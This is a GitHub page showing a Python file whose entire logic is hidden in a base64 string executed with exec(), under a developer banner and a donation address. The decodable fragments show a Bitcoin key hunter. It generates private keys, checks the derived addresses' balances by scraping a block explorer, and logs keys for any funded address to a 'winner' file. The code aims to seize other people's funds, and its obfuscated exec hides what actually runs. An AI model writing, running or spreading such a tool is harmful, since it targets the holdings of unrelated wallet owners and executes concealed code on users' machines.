-
Notifications
You must be signed in to change notification settings - Fork 51
/
bitcoin.py
22 lines (18 loc) · 17.6 KB
/
bitcoin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# ███╗ ███╗ ███╗███╗ ███╗██████╗ ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ███╗ ███╗ ███╗ #
# ██╔╝ ████╗ ████║████╗ ████║██╔══██╗██╔══██╗╚══███╔╝██╔══██╗ ██╔════╝██╔═══██╗████╗ ████║ ╚██║ #
# ██║ ██╔████╔██║██╔████╔██║██║ ██║██████╔╝ ███╔╝ ███████║ ██║ ██║ ██║██╔████╔██║ ██║ #
# ██║ ██║╚██╔╝██║██║╚██╔╝██║██║ ██║██╔══██╗ ███╔╝ ██╔══██║ ██║ ██║ ██║██║╚██╔╝██║ ██║ #
# ███╗ ██║ ╚═╝ ██║██║ ╚═╝ ██║██████╔╝██║ ██║███████╗██║ ██║██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║ ███║ #
# ╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══╝ #
# Programmer Mmdrza.Com ~ Telegram Channel @mPython3 ~ ID Telegram @PyMmdrza ~ https://Mmdrza.Com #
##########################################################################################################
import base64
e = b'aW1wb3J0IGNvZGVjcwppbXBvcnQgaGFzaGxpYgppbXBvcnQgdGhyZWFkaW5nCgppbXBvcnQgZWNkc2EKaW1wb3J0IHJlcXVlc3RzCmZyb20gaGR3YWxsZXQgaW1wb3J0IEhEV2FsbGV0CmZyb20gaGR3YWxsZXQuc3ltYm9scyBpbXBvcnQgQlRDIGFzIFNZTUJPTApmcm9tIHJlcXVlc3RzX2h0bWwgaW1wb3J0IEhUTUxTZXNzaW9uCmZyb20gcmljaC5jb25zb2xlIGltcG9ydCBDb25zb2xlCmZyb20gcmljaC5wYW5lbCBpbXBvcnQg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iAgICAgICAgYWRkcjYgPSBoZHdhbGxldC5wMndwa2hfaW5fcDJzaF9hZGRyZXNzKCkKICAgICAgICAjIEFsbCBWYWx1ZSBDaGVjayBCYWxhbmNlIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgIGJhbDEgPSBHZXRCYWwoYWRkcjEpCiAgICAgICAgYmFsMiA9IEdldEJhbChhZGRyMikKICAgICAgICBiYWwzID0gR2V0QmFsKGFkZHIzKQogICAgICAgIGJhbDQgPSBHZXRCYWwoYWRkcjQpCiAgICAgICAgYmFsNSA9IEdldEJhbChhZGRyNSkKICAgICAgICBiYWw2ID0gR2V0QmFsKGFkZHI2KQogICAgICAgIHRvdGFsICs9IDYKICAgICAgICBpZmVyID0gJzAgQlRDJwogICAgICAgIHByaW50ZXIgPSBmIltBXSBQMlBLSCAgICAgICAgICAgOiB7YWRkcjF9ICMgQmFsYW5jZTp7YmFsMX1cbiIgXAogICAgICAgICAgICAgICAgICBmIltBXSBQMlNIICAgICAgICAgICAgOiB7YWRkcjJ9ICMgQmFsYW5jZTp7YmFsMn1cbiIgXAogICAgICAgICAgICAgICAgICBmIltBXSBQMldTSCAgICAgICAgICAgOiB7YWRkcjN9ICMgQmFsYW5jZTp7YmFsM31cbiIgXAogICAgICAgICAgICAgICAgICBmIltBXSBQMldQS0ggICAgICAgICAgOiB7YWRkcjR9ICMgQmFsYW5jZTp7YmFsNH1cbiIgXAogICAgICAgICAgICAgICAgICBmIltBXSBQMldTSCBDT01QUkVTUyAgOiB7YWRkcjV9ICMgQmFsYW5jZTp7YmFsNX1cbiIgXAogICAgICAgICAgICAgICAgICBmIltBXSBQMldQS0ggQ09NUFJFU1MgOiB7YWRkcjZ9ICMgQmFsYW5jZTp7YmFsNn1cbiIgXAogICAgICAgICAgICAgICAgICBmIltQXSBQUklWQVRFIEtFWSA6IHtwcml2YXRlX2tleX1cbiIgXAogICAgICAgICAgICAgICAgICBmInsnPScgKiAyNn0gTU1EUlpBLkNP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FNlc3Npb24oKQogICAgICAgIG5tcCA9IHNlLmdldCh1cmxfbikKICAgICAgICBNYXN0ZXIgPSBubXAuaHRtbC54cGF0aCgnL2h0bWwvYm9keS9tYWluL2Rpdi9kaXZbMl0vZGl2WzFdL3RhYmxlL3Rib2R5L3RyWzNdL3RkWzJdJykKICAgICAgICBiYWwgPSBNYXN0ZXJbMF0udGV4dAoKICAgICAgICBpZnhidGMgPSAnMCBEQVNIJwogICAgICAgIE1tZHJ6YVBhbmVsID0gc3RyKCdbZ29sZDEgb24gZ3JleTE1XVRvdGFsIENoZWNrZWQ6ICcgKyAnW29yYW5nZV9yZWQxXScgKyBzdHIoCiAgICAgICAgICAgIGNvdW50KSArICdbL11bZ29sZDEgb24gZ3JleTE1XSAnICsgJyBXaW46JyArICdbd2hpdGVdJyArIHN0cih3KSArICdbL11bZ29sZDFdICBCQUw6W2FxdWFtYXJpbmUxXScgKyBzdHIoCiAgICAgICAgICAgIGJhbCkgKyAnXG5bL11bZ29sZDEgb24gZ3JleTE1XUFkZHI6ICcgKyAnW3doaXRlXSAnICsgc3RyKAogICAgICAgICAgICBhZGRyZXNzKSArICdbZ29sZDEgb24gZ3JleTE1XSAgICAgICAgICAgICAgICAgIFBhc3NwaHJhc2U6ICcgKyAnW29yYW5nZV9yZWQxXScgKyBzdHIoCiAgICAgICAgICAgIHBhc3NwaHJhc2UpICsgJ1svXVxuUFJJVkFURUtFWTogW2dyZXk1NF0nICsgc3RyKHByaXZhdGVfa2V5KSArICdbL10nKQogICAgICAgIHN0eWxlID0gImdvbGQxIG9uIGdyZXkxMSIKICAgICAgICBpZiBiYWwgIT0gaWZ4YnRjOgogICAgICAgICAgICBmeCA9IG9wZW4odSJCaXRjb2luV2lubmVyX19fX19fX19fIiArIHN0cihmaWxlcikgKyAiX01NRFJaQS50eHQiLCAiYSIpCiAgICAgICAgICAgIGZ4LndyaXRlKCdcbkFkZHJlc3MgQ29tcHJlc3NlZCA6ICcgKyBhZGRyICsgJyAgQmFsID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IHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PU1tRHJ6YSkKICAgIE1hc3Rlci5zdGFydCgpCiAgICBNYXN0ZXIuam9pbigp='
exec(base64.b64decode(e).decode())
# =====================================================
# DONATE (BTC) : 16p9y6EstGYcnofGNvUJMEGKiAWhAr1uR8
# Website : Mmdrza.Com
# Email : [email protected]
# Dev.to/Mmdrza
# Github.com/Pymmdrza
# =====================================================